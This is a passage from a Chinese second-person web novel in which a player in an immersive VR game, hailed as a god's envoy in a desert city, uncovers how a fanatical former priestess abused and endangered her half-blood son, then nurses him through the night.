但这个“重要的身份”,实际上也限制了你,既然是神的使者,怎么会对神的子民一无所知呢?这下你倒不好直接问任务里的绿色之心是什么了。
你没迟疑太久,绕了个弯很快问道:“风沙城的绿色之心,是怎么消失的?”
普尔伽什答:“两年前,一场沙暴从风沙城席卷而过,城中的湖水第二天就干涸了。”
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通过普尔伽什的讲述,你从她大段大段对那位神的赞美中,提取出来了大致的事情经过。
风沙城的建立,得益于城中终年不涸的湖泊。迷惘沙漠里常年炎热少雨,沙民们将这片湖泊视为神迹,并依托着湖泊建立起了城池,这也是风沙城的建筑会由城中湖向四周辐射分布的原因。城中居民的生活自然也与湖泊息息相关,在湖泊干涸之前,他们同外界生活在水源充足地区的人们没什么不同,还格外热爱种植花卉,家家户户都有的庭院就是最好的证明。
一场沙暴改变了一切。据说普尔伽什所说,这里有风沙天气实数常见,那一次的沙暴也不算最严重的。一开始大家都没有太重视,瓦萨达蒂却说自己有不好的预感,大家秉着对瓦萨达蒂的信任,搜遍了全城,竟然真的找到了蛮族人。
第二天,城中湖就消失了,仿佛从来不曾存在过。
你问道:“你们没有从那个蛮族人身上问到些什么吗?”
普尔伽什羞愧道:“那群蛮族人野蛮而不开化,他们彼此之间用嘶吼交流,我们什么都问不出来,只在他身上搜出了一些城中用作装饰祈福的绳结,第二天那个蛮族人就自尽了。”
你不解道:“既然你们什么都没有问出来,又怎么能断定是蛮族人造成了这一切?”
普尔伽什的语气十分肯定:“一定是他们。”
“那群浑身披着鳞片的蛮族人,连人形都不完全,还拖着长尾巴,双手竟然有野兽一样的指甲!”普尔伽什的厌恶十分明显,“他们同我的族人起过很多次纷争,都是为了从城中抢夺水源,他们混入城中的第二天,绿色之心就消失了,这一切必然是他们的阴谋。”
“而且,在迷惘沙漠消失之后,他们竟然在西边建城定居了。”
“这又从何说起?”你不解建城定居和抢绿色之心有什么必然的联系。
普尔伽什解释道:“迷惘沙漠中绿洲稀少,大多数地方都是一片荒漠,想要建城,就必须有合适的土地和水源。我们和蛮族人都在迷惘沙漠里生活了上千年,而前面的数千年里,他们都在西边的沙漠中四处迁徙寻找水源,更因为水的匮乏,时常来我们的领地打劫走大量的水,可等绿色之心消失之后,他们就马上找到了合适的水源和土地,这怎么可能?这分明是绿色之心的能力!”
你思索着,那场沙暴不至于使得城中湖干涸,不然不会没能在沙民中引起重视。但沙暴时恰好混入了外族人,这个外族人甚至采取了自尽这样惨烈的方式结束自己的生命,而且就在这场骚乱之后,蛮族人还找到了此前数千年未曾发现的水源和土地建城定居下来。这样看来,沙民们怀疑上蛮族人是很自然的事情。
但是,这些都只是普尔伽什的一面之辞,只能代表沙民们的看法,事情的真相是怎样的,恐怕还要去所谓的蛮族人那边走一遭才能了解。
对怎么去完成任务有了规划,你便不再追问绿色之心的事情。说实话,你对沙民们信仰的教义也挺好奇的,但为了避免露出破绽,你没有直接追问教义的事情。
想起埃尔维斯说“血色泪湖开始干涸”和那句“为你而来”,你总觉得这背后还有你不了解的事情。
想了想,你问普尔伽什:“埃尔维斯说,血色泪湖开始干涸了,这又是怎么回事?”
普尔伽什却皱着眉,道:“‘血色泪湖干涸之后,祂就会归来。’这是祂留下的神谕,我们的族人以为血色泪湖的干涸不过是神迹显现的征兆,就像那湖水在过去的数千年里不增不减一样,难道其中还有别的我们未曾领会的深意?”
似乎是踩雷了,你赶紧转移话题:“我只是听埃尔维斯提起,他的身世,似乎不那么单纯?你们怎么把他送到沙漠去?”
你问得含糊,普尔伽什把你的话理解成“为什么送埃尔维斯去”也行,“怎么样送埃尔维斯去的”也行。
但普尔伽什却像在忌讳什么,没有回答你的问题,只说:“我的修行还不足,不能在您面前谈论不义之人的事,如果您想知道,就直接问那孩子吧,他会如实告诉您的。”
说完她便起身准备离开,走之前她深深地向你稽首,道:“假如钦黛尔对您有所要求,请您不要回应。”
普尔伽什走得很快,像她来时一样踩着悄无声息的脚步离开了。
13. 不义(上)
你想拦住普尔伽什继续追问,她却走得飞快,你根本来不及叫住她。
“唉——”
问到的消息不多,还差点暴露了,你不由得趴在案几上长长地出了一口气,头疼这任务到底要怎么做。
好不容易把任务做到现在、能看到一点胜利的曙光了,结果蓦然发现自己仍旧身处一团迷雾之中。
还是一团更大、可见度更低的迷雾。
你从来不是轻言放弃的人,既然走到这里了,你也不再想着放弃。
可要是任务完不成怎么办?
你思索着,一般的游戏里,玩家都是类似天选之子的存在,所有的剧情都以玩家为纽带展开,因而结局的大致走向都是可以预测的。
大多数全息游戏也是一样,从游戏制作方的角度来说,减少通往结局的分支能在保证可玩性的同时尽可能压缩工作量。但「新世界」的拟真度几乎能够还原一个真实的世界,你在论坛里看到过不少探索新地图的帖子,玩家的选择是真的能够影响这个游戏的剧情走向的,它一开始打出的高自由度旗号确实名副其实。
而你现在的心情,简单来说,你因为一个游戏任务感到了压力。
这听起来有点好笑。如果是其他的游戏,你会先入为主预设这个任务是可以完成的,只要你付出足够的时间和精力。你甚至可以反复存档读档,直到打通卡住的节点,根本不会感受到压力。可「新世界」不行,失败了虽不会有惩罚,但也不会有再来一次的机会。
你烦躁地揉揉脸,游戏世界一向是你消解现实中压力的地方,不料这次奇遇的剧情如此令人为难。你本打算下线等心情好点再回来,不想门外吵了起来。
你皱眉,之前在城内探查的时候你就发现了,这座神殿附近人和建筑都是最少的,更不要谈有人声喧哗。
你起身朝外走,越靠近门吵闹声越大,你拉开半扇大门,却被眼前的景象震惊了。
红发及腰的美艳女子被双胞胎拦在一边,她容色姣好,眉目哀婉,身材丰润有致,深棕色的皮肤焕发着光泽,同你见过的沙民们干瘦苦涩的样子截然不同。普普通通的白色长袍披在她身上不但没有折损她的美貌,反而使得她拥有了一种介于妩媚和圣洁之间的多情气质。
如果不是埃尔维斯用担忧的目光看向她,你绝不会把她同白天那个有些神经质的钦黛尔联系起来。
加米拉和佩莉姆不曾动手拉扯她,只是始终挡在钦黛尔前进的路上,不许她越过去。她们都没有理会一旁的埃尔维斯,但埃尔维斯却没有动手帮自己母亲的意思,只是焦急地站在一旁。
他最先注意到你的出现,眼睛一亮,大喊了一声“大人”,便急急看向加米拉和佩莉姆。
听到埃尔维斯叫你,双胞胎姐妹果然转身向你行礼,钦黛尔也微笑起来,她却没有像白天那样不管不顾地扑到你身前,而是跟双胞胎姐妹一起躬身行礼,姿态甚至比加米拉佩莉姆姐妹更加优雅。
她温声开口道:“阿夏尔的半身啊,祂忠实的信徒在这里祈求您,祂的仆人有话想告诉您。”
你想起普尔伽什的嘱咐,没有立刻答应她。
加米拉和佩莉姆两姐妹比你反应得还快,钦黛尔还没说完,她们已经面露不满,佩莉姆更是直接站出来驳斥她:“无礼之人!既无吉时,你不是瓦萨达蒂,不是祭司大人,也不是祂的神仆,但凡你还自认是祂的信徒,今天你就没有资格进入神殿!。”
你有些惊讶,双胞胎姐妹面对你时总是沉默而恭顺,原本你以为是官方没在这两个角色上花心思,没想到她们会在此刻显露出不同的一面。
于是你打算先静观其变。
钦黛尔不急不恼,她微笑着,同白天几近癫狂的样子判若两人。她笑着道:“我的姐妹,我们都是阿夏尔的信徒、是祂虔诚的神仆,钦黛尔从不例外,为什么我不能进入神殿呢?”
你看见佩莉姆的背影颤抖起来,她大声道:“钦黛尔,你这不义之人怎么敢提起虔诚二字,你根本不配出现在这里!”
“为什么不配?”钦黛尔哼笑一声,容色艳如春花,“‘铭记祂的神名与功德之人,皆是祂的子民,皆可分享祂荣光的羽衣’,这难道不是教义中所写的?我为阿夏尔献出了我的一切,我的□□、我的性命、我的灵魂都属于祂,比起我所做的,你们这样只是每天在神殿静坐的人才不配自称虔诚!”
“你!”
佩莉姆上前逼近钦黛尔,却被加米拉拦住了。
加米拉是双胞胎中的妹妹,
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个性却比佩莉姆沉稳得多。她把自己的同胞姐姐扯到身后,转身面对钦黛尔,道:“教义中也说我们不可直视祂、不可呼唤祂的名,看钦黛尔姐姐近来的作为,我还以为你在外面的几年把教义都忘光了,想不到今天还能听到钦黛尔姐姐口诵教义。”
她身后的佩莉姆听完显然冷静下来,加米拉却没有停下,她上前一步,挺直了脊背,道:“钦黛尔姐姐,你的所作所为加米拉不敢评价。我们姐妹从小就在阿夏尔的神殿中长大,不见外人,只会静坐祈祷,不如你伶牙俐齿,也不想同你比较。但我们谨记我们的职责,今天不论你说什么,我们姐妹都无权放你入内。”
岂料钦黛尔听完,便不再同她争执,而是将目光转向了你:“大人,钦黛尔有话要说!”
埃尔维斯虽然没有说话,却也焦急地望着你,脸上写满了期盼。
普尔伽什的叮嘱犹在耳边,你倚在门边,幽幽地将眼前的场景收入眼中。
加米拉和佩莉姆两姐妹也转过身来,不再理会钦黛尔,她们仍然不直视你,而是将目光落在更低的位置,即便她们不情愿钦黛尔进入神殿,也不开口制止你。而钦黛尔立在一旁,高高昂起头,她脸上再度出现那种奇异的狂热,这次你看得分明。她足够自信,胜券在握的样子让你怀疑自己真的已经答应了。
你开口道:“进来吧。”
“大人!”佩莉姆像是想劝阻你,却被加米拉再次拉着手掌,于是她也闭口不言了。
“没事的。”你朝两姐妹微笑,示意她们安心,“是我让她进来的,你们去休息吧,不用担心。”
说完你便转身朝殿内走去。
至于你为什么同意钦黛尔的要求——
【叮】检测到玩家触发关键剧情——
【叮】放逐之子(第三章)剧情已解锁(接取倒计时00:29:59)
【叮】玩家已接取
【放逐之子】埃尔维斯和钦黛尔深夜来访,他们的言语之间似乎别有深意,请探访清楚埃尔维斯的身世之谜。(限时4:59:59)
——不过是官方的任务罢了……
钦黛尔走之前还向两姐妹抛了一个颇具风情的眼神,一旁的埃尔维斯深深低着头,紧跟着你进入了神殿。
14. 不义(下)
神殿的大门再度关上,你坐在案桌后向下看去。
埃尔维斯已经跪坐在你下方的阶梯之下了。来到风沙城之后,你好几次看到他都发觉自己不能再轻易读懂他的情绪了,不像沙漠中初见时野兽般机警得可爱,他表面沉寂下来,内心却有着更复杂的情绪暗流涌动。
钦黛尔却不紧不慢的,慢悠悠走在后面,她的手拂过过道旁的白色立柱,四处打量着周围的陈设,眼中的怀念之色即便在这昏暗的烛光之下也不容忽视。
她很快注意到了你的大量,跪坐着朝你微微颔首:“钦黛尔失态了,请您饶恕我。”
从方才佩莉姆和加米拉姐妹的话中,你已经知道了神殿附近人少的原因,又想起埃尔维斯说过的,自己的母亲曾经是祭司,心中了然。
更何况你从来没有把自己真的当成所谓的神使去享受众星拱月的尊重,钦黛尔的举动对你来说自然谈不上冒犯。你甚至觉得她表现得足够礼貌和冷静,方才在门外同双胞胎姐妹交谈时思维也十分有逻辑。
钦黛尔侧首微笑,像是料到了你在想什么,又道:“初见大人之时,钦黛尔太激动以至于失态了,今天才来求见大人,恳求您宽恕我的失礼。”
你有些诧异,钦黛尔深夜来访、甚至不惜同佩莉姆和加米拉姐妹起冲突,就只是为了来道歉吗?
你虽不解,还是好好回应了她,毕竟她的话听起来挺客气的,如果无视反而显得你没礼貌。
你还以微笑:“不要紧,我没有怪过你,不用往心里去。”
钦黛尔跪坐着朝你俯身行礼,这时你才注意到钦黛尔的美貌有多惊人。她并不纤瘦,披着那条名为“炽念”的白布作为披风,露在长袍外的手臂甚至有些圆滚滚的,脸颊也较为丰盈,但即便在这样昏暗烛光的映照之下,你仍然找不到一丝瑕疵。她的一举一动带着一种介于多情和无情之间的气质,眼睛微笑时分明注视着你,却又好像通过你将视线投向其他地方,她坐在这里,恰如一颗璀璨莹润的宝珠,无声散发着夺目的光彩。她的红发很显然仔细打理过,用两股小辫束在脑后披散开来,更为她增添了一丝妖冶的异域感。
真是位奇怪的美人。
你一时将任务抛诸脑后,内心感慨着,这样将矛盾集于一身却能融合出奇异的和谐气质的人,不知多得造物钟爱。
好像不太对。
应该是得美工钟爱?
钦黛尔注意到了你的欣赏,她甚至微微侧过身体,用自己更美丽的角度对着你,丝毫不吝惜在人前展现自己。她很自信,也很强势,她了解自己是如何的美貌,并且乐于自己的美为人所欣赏。
埃尔维斯则像个雕像一般僵硬地坐在一旁,被衬得十分不起眼,他在人前似乎总是格外沉默,总是显得心事重重。
注意到你视线的转移,钦黛尔再度开口了:“今夜我来此,并不仅仅是为了道歉而已。”
你还在想埃尔维斯的事情,一时间没有反应过来,只是习惯性地表示配合:“哦?”
钦黛尔却显得很在意,她唤你:“大人,您似乎格外注意这孩子。”
“啊——”被抓包的你有些心虚,在人家母亲面前盯着孩子看似乎不太好吧?
于是你诚恳地解释起来:“只是在想埃尔维斯的事情,他跟初遇的时候好像不太一样,总是格外沉默。”
你转向埃尔维斯:“埃尔维斯,你有心事吗?”
他的视线不曾抬起,低低地盯着身前台阶上的图案,慢慢道:“我没有心事,只是生性如此。”
生性如此?关键人物都这么有个性吗?
你想要追问,却被钦黛尔打断道:“他确实不爱说话,但我们今夜来此,也正是为了他。”
你微感惊讶:“这又从何说起?”
钦黛尔听到这话,突然来了谈兴,眼里像是在刹那间点燃了两只火炬,她膝行着上前,双手激动地上举着,而她脸上的狂热使得你眼前这人与白天那个状若疯癫的人再度重叠了。
“您好奇吗,阿夏尔的使者?”
“当然……当然……我会把一切告诉您的……毕竟我已经为这一天保持了太久的沉默……”
她的眼睛牢牢锁定着你,脸上浮现出怪异的笑容,紧接着整个大殿都回荡起她低沉的笑声来。
“他就是为了您存在的!我将他带到这世界上来,遇到您就已经实现了他全部的价值!是我,看看我吧阿夏尔的半身,祂虔诚的真信者为了祂可以舍弃一切,我用自己的身体容纳这人间的污浊,这低劣的混血种就是我向祂献上纯洁的最好证明!”
你皱眉,为钦黛尔话中对埃尔维斯的贬低不满:“可你是他的母亲,为什么这样说自己的孩子?”
“母亲?”钦黛尔站起身来,她双手上举着大笑起来,“不,我怎么会有这样的孩子?他从来没有叫过我母亲,怎么会是我的孩子?”
她抬起脚尖,轻轻地在埃尔维斯背上踢了一脚:“你说是吗,埃尔维斯?”
埃尔维斯倒伏在地,不知为何一动不动,却还是回答道:“是的,祭司大人。”
“您快听啊!”钦黛尔又是一阵张狂的大笑,“他多么的乖巧啊!我是那么的爱他,他与我血脉相连,是我向阿夏尔献上的最完美的祭礼。但我又那么恨他,他让我的名字从此永远同‘不义’二字联系起来,连祂的神仆也敢对我随意指摘!”
她像是喝了酒,歪歪倒倒地转起圈来,朝着空气挥袖:“‘世间何曾有过不义之举’,时间会证明我的忠诚!我经受了人世间的一切苦难,只有我才是阿夏尔最忠实的信徒!”
说完她开始喋喋不休起来,用炫耀的语气讲述着:“自从我将阿夏尔的信物同我自己融为一体,我就知道我生来被赋予了怎样的使命,族老们简直食古不化,我明明解读出了预言,他们却指责我。我决心证明我自己,我去到外面充满了异教徒的恶心世界,但我一直在忍受,一切都是为了这预言的契机,我甘愿为了阿夏尔忍受!”
“我怀孕之后反复感到恶心,我的血被玷污了,混入了那些肮脏的杂质!可我还是在忍耐,我知道我为了阿夏尔可以献出我的一切,哪怕要献出我在这人世间行走的皮囊,哪怕我的灵魂因每日每夜都在哀嚎,哪怕要承受生下这混血种这样的羞辱,但我还是做了!”
“‘引领祂之人不属阳也不属阴’,呵呵呵呵呵呵……”钦黛尔看向
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躺在地上的埃尔维斯,这时你才发现他的状态不对。
“埃尔维斯!”你冲下台阶,在他身边焦急地呼唤着他的名字。
“不用担心。”钦黛尔捧着脸蹲在一旁打量着你们,脸上显出一种沉醉的神情,“请您原谅我的忘形,我只是等待了太久,我太需要将我的虔诚都向您倾诉了。”
你不理会她,用鉴定术检查起埃尔维斯的状态来。
钦黛尔却根本不在乎你有没有听,自顾自地讲起来:“我早就参透了一切的秘密,他好像一直很为自己的身体苦恼呢,但是这一切都是他应该承受的,他只有痛苦起来,我的心才会好受一些。即便我知道我才是对的,但我受够了世人的误解!”
“好不容易等到了那天,我把他送到沙漠里,果然遇到了您。我就知道,我就知道!我早就预见了这一切!我要忏悔,他一去不回的那几天里我一度动摇了,我发疯一样地质问难道我还不足以证明我的忠贞吗?但幸好,您来了,这一切都是祂的安排,我感到了久违的平静,我终于证明我才是对的!”
“我!才是对的!”
“原来如此……”你听着系统响起的代表任务完成的提示音,口中喃喃着。
埃尔维斯的身世、沙漠里的初遇、意味不明的谶语……
这一切都在钦黛尔的话里得到了解答,仿佛散碎的珠子被串了起来,但眼前的人比这谜底更加具有吸引力。
埃尔维斯脸色苍白,咬着牙一动不动,只有时不时的颤抖才证明他还活着。你看着钦黛尔时再也无法欣赏她的美貌,只觉得她扭曲的笑容格外陌生。
你仰头问她:“真的值得吗?去忍受你不堪忍受的一切,还要搭上这孩子的一生,就为了一个虚无缥缈的预言?”
钦黛尔瞪大了眼睛:“为什么不值得!”
“没有这一切,我的忠诚不过的空中楼阁!我也懊悔过,也犹豫过,但到了今天,我才知道我的坚守都是对的!”
她伸手掀开埃尔维斯的发丝:“过了今天,这孩子就不再是混血种了,他体内只会流淌着我的血,纯正的、阿夏尔信徒的血!”
她抱起埃尔维斯小小的身体,亲昵地用脸颊贴近他:“‘世间何曾有过不义之举’……我都明白的……”
她用力拉扯着埃尔维斯的尖耳,用仇恨的眼神打量那对耳朵:“都是它们,我一度忍耐不住想要把这双恶心的异教徒的耳朵割下来,幸好我忍住了,不然我怎么能找回我的孩子呢。哦,我当然不是针对您,您是不同的,我们需要的正是您啊,阿夏尔的使者哈哈哈哈哈哈………”
“……你?你要乖啊埃尔维斯,过了今天,你就是我的孩子了,你不是一直很想叫我母亲,过了今天你就是我的乖孩子了……”
“只要你能活下来哈哈哈哈哈哈哈!”
埃尔维斯在她怀里四肢怪异地抽搐起来,牙齿因颤抖而碰撞的声音清晰可见,钦黛尔却毫不在意,自顾自发泄似的大笑着。
你赶紧把埃尔维斯抢过来安置在一边的台阶旁,钦黛尔也毫不在意,坐到地上看着你大笑个不停,连眼泪都笑了出来。
你正想说些什么,神殿的大门却突然被推开了!
15. 仁慈
“钦黛尔,你不知悔改!”
红衣老者立在大门之外,瓦萨达蒂的脸背着光,走近了你才看清她一贯的愁容之上浓厚的失望之色。
双胞胎姐妹等钦黛尔进入神殿便直接联系了瓦萨达蒂,现在佩莉姆和加米拉姐妹正一左一右搀扶着她,普尔伽什跟在瓦萨达蒂身后,三人都低首不言。
“不知悔改?”钦黛尔跪直了上半身,瞪视着瓦萨达蒂,“我有什么错需要悔改,母亲!”
母亲?
你惊讶的视线在两人之间穿梭,干瘦的、一贯愁眉苦脸的瓦萨达蒂,是钦黛尔的母亲?
那埃尔维斯就是……
突然你感觉上衣被用力往下拉,低头一看,埃尔维斯正痛苦地挣扎着,满头都是豆大的汗珠。
你赶紧把他的白袍卷起来塞进他的嘴里,同时两手按住他试图乱挥的手臂,以免他挣扎间伤到自己。
一旁的瓦萨达蒂和钦黛尔还在对峙着。
瓦萨达蒂横眉冷目道:“到了今天,你竟然连自己错在哪里都不知道吗?”
钦黛尔立刻反唇相讥:“我当然不知道,还要请您——忠贞的瓦萨达蒂——为我解惑!”
看到钦黛尔这样,瓦萨达蒂的身体竟然晃了晃,双胞胎姐妹和普尔伽什都赶紧去扶,瓦萨达蒂却又自己保持了平衡,抬手拒绝了她们的搀扶。
瓦萨达蒂脸上的失望消失了,她又恢复一贯愁眉苦脸的样子,轻轻一挥袖子:“你的罪过,早在你离开和回来的时候,我就为你细数过了。”
你捕捉到空中似乎有许多小点一晃而过,快到让人以为是错觉。
“两次。”
钦黛尔应声倒下,她僵直地躺倒在地,皮肤下隐约有什么东西在不断地蠕动着,随着这怪异的现象越来越明显,钦黛尔脸上的惊惧也越来越明显,她的泪水已经淌了满脸。
瓦萨达蒂淡淡道:“我为你所费的口舌已经足够多了,假如你仍旧不知悔悟,下次恐怕连痛苦地躺在这里的机会都没有了。”
“这是我对你,最后的仁慈。”
说完她便叫了一声普尔伽什:“带她出去。”
普尔伽什应声:“是。”
说完一挥手,普尔伽什掩在袖间的手突然握住一根红锈色的长索,同埃尔维斯那天绑你的很像,只是一眼看上去就觉得更加坚韧,却不知道是不是也是从手臂上长出来的。
她用长索绑住了钦黛尔,转身便带着钦黛尔朝神殿外走去。
“等一下。”瓦萨达蒂叫住她们,“钦黛尔,以后不要再来神殿了,你已经不再是族中的祭司了。”
“以后你也不要再叫我母亲,我是沙民一族的瓦萨达蒂,是所有孩子的母亲——但唯独不是你的。”
听完这话,钦黛尔的泪水好像流淌得越发汹涌,但她无法开口,你也无从得知她是因为身体上的疼痛,还是因为心灵上的痛苦。
“打扰了您的休息,我深感抱歉。”瓦萨达蒂向你躬身道歉,“以后不会再有了,我向您承诺。”
说完她便想退开离去,你赶紧叫住瓦萨达蒂:“请等一等,埃尔维斯状态很糟糕,您能看一看他吗?”
瓦萨达蒂叹息道:“我不能拒绝您,可我也无法对您说谎,瓦萨达蒂无能为力。”
“就没有一点办法吗?”你不死心。
“唉……”瓦萨达蒂看上去越发衰老了,“钦黛尔的血里融合了祂的信物。千百年来,所有觊觎祂神力的人中,只有钦黛尔活了下来。如果这孩子能撑过去,或许也能活下来,毕竟他也是钦黛尔的血脉,或许能接受经过他母亲融合的神力。”
“有多大把握他能撑过去?”你握紧了埃尔维斯的手心,他此刻连挣扎回握的力气都没有了。
“十死无生。”
你沉默了,或许钦黛尔能活下来才是奇迹,其他人对着钦黛尔敢怒不敢言恐怕也是因为忌惮她真的有神奇之处吧。
过了很久,你看着奄奄一息的埃尔维斯问道:“钦黛尔知道吗?”
瓦萨达蒂知道你在问什么:“当然。”
“她自己融合那信物的碎片的时候就该知道了。”
————————
瓦萨达蒂走了,你坐在地板上,搂着埃尔维斯的身体,心中五味杂陈。
双胞胎姐妹劝你:“大人去休息吧,现在已经很晚了。”
你放空了一会儿,才反应过来现在是什么样的情况,但怀里的埃尔维斯已经越来越虚弱了。
你抬头看向两姐妹:“神殿里还有空的房间,你们能帮我带埃尔维斯过去吗?”
“这……”佩莉姆犹豫地望向加米拉。
“当然可以,祂神的恩慈平等地施与每一个异教徒,这是祂的宽容。”
原来如此……
难怪他可以进入神殿。
你握住埃尔维斯的手臂,他实在太瘦小了。
加米拉和佩莉姆帮你抬起埃尔维斯的脚,三个人合理把他搬到了你所住的房间旁边。
这里的房间常年无人使用,但都被打扫得很干净,陈设虽简单却都舒适实用,双胞胎姐妹显然很在这上面用心。
埃尔维斯躺在一张小床上,床单也是简单的白色,垂在两侧的边缘还有暗色的云状纹样。埃尔维斯没一会儿就翻滚着蜷缩起来,你一手护住他不要翻下床,一边转头问双胞胎姐妹:“请问哪里可以取一些水?”
“我们去帮您取就好。”两姐妹主动道。
“好的。”你没有拒绝,只是嘱咐道,“不用太多,大概两杯就好。”
你知道这里有多缺水。
等佩莉姆和加米拉走了,你立刻
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取出包裹里的中级回血药,想了想,又换成高级回血药,直接把埃尔维斯拉起来坐好往他嘴里灌。
一瓶灌完,你摸埃尔维斯的额头,果然没那么烫了。
他的痛苦好像也有所缓解,不再浑身颤抖,但眉头始终紧缩。
“妈妈……祭司大人……”
他呓语着,你知道他在梦中叫的是谁。
你摸摸他的头,汗水已经将他的额发浸湿,头发成绺散在枕头上,他平时特地遮挡住的尖耳露出来了,上面还有着刚刚结痂的细小伤口。
应该是刚刚钦黛尔扯出来的。
妖精的尖耳可是很脆弱的。你摸摸自己的耳朵,温热的触感令你不禁轻轻抖了一下。
趴在一旁,你看着埃尔维斯沉睡的面容,内心悄然滋生出一丝怜爱。
也许是因为刚了解了他的遭遇,也许是因为亲眼见过他遭人无视的样子,又或许只是因为他比你还要瘦小……
生活中的你只不过是个手无缚鸡之力的年轻女孩子,你不知道自己这种对比自己更弱小生物的怜爱是不是不合时宜,你也深知你无力改变现状,但仍总想着尽己所能让他们过得更好一些。
不是自觉比人强的“恩赐”、不是居高临下的“施舍”。
就像面对受伤的小动物,像面对堂妹小芸。
对眼前的埃尔维斯,你同样真实地、发自内心地怜爱着他。
或许这是一种偏执。
钦黛尔称你为某个神的半身,实际上游戏之于你也相当于某个半身,一个超脱你想象的、能完成你现实中中所不能的一切的半身。
但全息游戏里高智能的npc总让你不知道该如何自处。
把他们当做真的人一样去交朋友,是不是在犯傻呢?
你感到迷惑。
埃尔维斯突然又喃喃自语起来,你凑过去听——“……薇……不要……”
他的呓语里有你的名字,这也是设定好的程序吗?
你轻轻叹一口气,抚摸着他光洁的额头,不再去反复向自己强调这只是任务。
从游戏里收获这样一段经历,也是独属于你的美好回忆。
你轻声道:“你选中我,或许也是一种缘分吧……”
他的手突然收紧,把你的手握在其中。
对于某个角色有好感,绝不是犯傻的事情。
他们的一切都真实到令你迷惑,但不论那是不是一段虚拟的数据,他们所带给你的共鸣都是无可替代的。
或许他们只能陪着你走过某一程,但那一路上的风景你会独自珍藏在心底,不强求长久的以后,才能更好地感受当下,假使未来的某一天脑海中突然浮现这一刻的记忆,想必你也能够会心一笑吧?
被当做偏执也好、被视为伪善也好,你真实地同他们共情着。
16. 你
双胞胎姐妹回来的时候你正在一旁守着埃尔维斯。
佩莉姆恭敬地把手中的杯子递给你:“大人,您要的水。”
你道了声谢,接过来给埃尔维斯喂了两口,把杯子放下才转向她们。
“……大人?”佩莉姆察觉到了你的视线,“是我哪里做的不对么?”
“不。”你摇摇头,直接否定了。
佩莉姆:“那……”
你看着她道:“我只是觉得,你们一直回避我的视线,不会难受么?”
加米拉赶紧道:“这是教义中对于尊崇之人应有的礼节,大人不必担心,我们怎么会因为守礼而不快呢?”
她说话的过程中还是看向比你的眼睛更低的位置,始终回避着你的视线。
“唔……”
你猛地贴近她们跟前,两姐妹便立刻害羞似的侧过身去,躲着不肯直视你。
“大人!”佩莉姆急急后退,看着蹲在她们脚边的你满脸通红。
“看着我吧,没关系的,我又不是‘祂’。”你托着腮微笑道。
“可是……”双胞胎姐妹面面相觑。
“你们要听我的,对吧?”你也不想让她们为难,光明正大地开始偷换概念,“我要求你们,可以看着我的眼睛。”
两人犹豫了很久,还是加米拉先答应了。
“也不用回避我的视线。”你补充道。
加米拉和佩莉姆红着脸,还是努力回视你:“是。”
你看了看埃尔维斯,又问:“他是异教徒,对吗?”
加米拉点点头,佩莉姆跟她做同样的动作,两个人看上去一模一样。
“你们讨厌他,也是因为他是异教徒?”
“讨厌?这又从何谈起?”佩莉姆脸上的惊讶不似作伪。
你不解道:“他不是‘祂的使者’,也不是‘祂’,你们用不着对他‘礼貌’。要是你们不讨厌他,怎么会刻意无视他?”
“这……”两人对视一番,最后出来解释的还是加米拉,“我们只是不知道如何跟他相处而已,毕竟,他看上去跟我们有些不一样。”
“他常到神殿来,我们还把吃的分给他,怎么会是讨厌他呢?”
她想了想,又补充道:“或许族中年轻的孩子还不那么懂事,但像钦黛尔姐姐那样的……还是很少的。教义一向教导我们向善,对他人无端的厌恶本身就是一种罪恶,即使那人是异教徒,我们也要保持祂神的子民应有的宽容。”
“或许跟我们一样,他们也只是不知道如何跟他相处吧。”
你没有再质疑,加米拉和佩莉姆姐妹的作为,的确不像讨厌埃尔维斯的样子。姐妹俩一向沉默而内敛,就像回避你的视线只是因而礼节如此而不是厌恶你,她们大概是真的不知道如何跟埃尔维斯相处。今天如果不是她们去叫了瓦萨达蒂和普尔伽什,恐怕一声不吭忍受着疼痛的埃尔维斯只会更加危险。
至于其他的人……
你见过普尔伽什跟埃尔维斯说过话……虽然是斥责他。
但刚刚瓦萨达蒂的举动,却显得有些无情。假如不是你叫住她,恐怕瓦萨达蒂问都不会问他一声。
而剩下的人里,你也没有见过他们私下里是怎样对埃尔维斯的。
你只见过公开场合众人对他的无视,那实在太令人窒息了。
你站起来抱了抱两姐妹,道:“谢谢你们去叫瓦萨达蒂,也谢谢你们帮我照顾埃尔维斯,辛苦了!”
你转头对她们说:“你们去休息吧,这里我看着就行。”
“是,大人。”
佩莉姆和加米拉红着脸携手离开,只留你独自守着埃尔维斯。
没过多久他又发起烧来,你灌了一瓶中级回血药,没什么用,急得团团转。
忽的灵光一闪,你突然记起来第三章的剧情已经完成了。
这次没有自动脱离剧情,完成之迅速也超乎你的意料,钦黛尔简直就像专门为了让你完成任务一样,毫不费力的就什么都说出来了。
你点开奖励邮件,果然开出来三瓶高级回血药,拿出来给埃尔维斯再灌一瓶,眼看着他好转了你才放下心来。
扔一个鉴定术,状态一切正常。
这下应该没事了!
你这时才有心思检查奖励,除了回血药,还有金银铜三种货币若干,你在奇遇里用不到,便不再留意数额。此外你的等级一口气升到了21级,又解锁了新的修行功能,简单来说就是从此之后你每次使用技能、参加战斗或者打坐修行,都可以获得熟练度以增强自己的战斗力。
此外你还开到了一个神秘包裹和一个技能包裹。
点开,又是两声提示音——
【叮】你打开了技能包裹,原来是[爆裂]!
【叮】你打开了[一个神秘的包裹],金光一闪,获得了[建造之法]!
“爆裂”是个绿色群攻法术,比你在道具商城淘到的“群伤”攻击力要更强一些。但你没有直接用它来替换“群伤”,而是在道具商城买了一套新的绿色无技能防具和一枝绿色无技能法杖,然后把“爆裂”铭刻在防具上。绿装的属性只比你的新手套好上一点,价格也偏高,但好处在于比白色新手套各多了一个技能位,意识到战斗的重要性之后你就打算换了,但上次买完技能你的钱不够了,这次总算拿下了。
新手套换下来你还舍不得扔,毕竟浪费过一次宝贵的修理机会,干脆扔在包裹角落里放起来。
那个“建造之法”你研究了半天,注释只显示“数百位工匠关于房屋建造的心得体会”,属性还是白的。
什么东西?
你的手指跃跃欲试,最终点了使用。
【叮】你学会了房屋建造之法!
然后呢?这就没了?
你扫了一圈属性栏,毫无变化。
想了想,你试着把鉴定术甩给了神殿的墙壁,于是整个房间内部立刻显示出房屋各部件详细数据的注释,地板上还有地砖的拼铺方法详释。
……
行吧。
你安慰自己好歹鉴定术升级了,打算明天去看看神殿内的那副壁画,说不定有新的
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发现。
正当你放松的时候,埃尔维斯却突然剧烈挣扎起来。
之前他都是默默忍着疼,顶多有些轻微的颤抖,不然你不可能等他倒地才注意到他的异样。这时的他却呜咽痛哭起来,不断因疼痛而呻吟着。
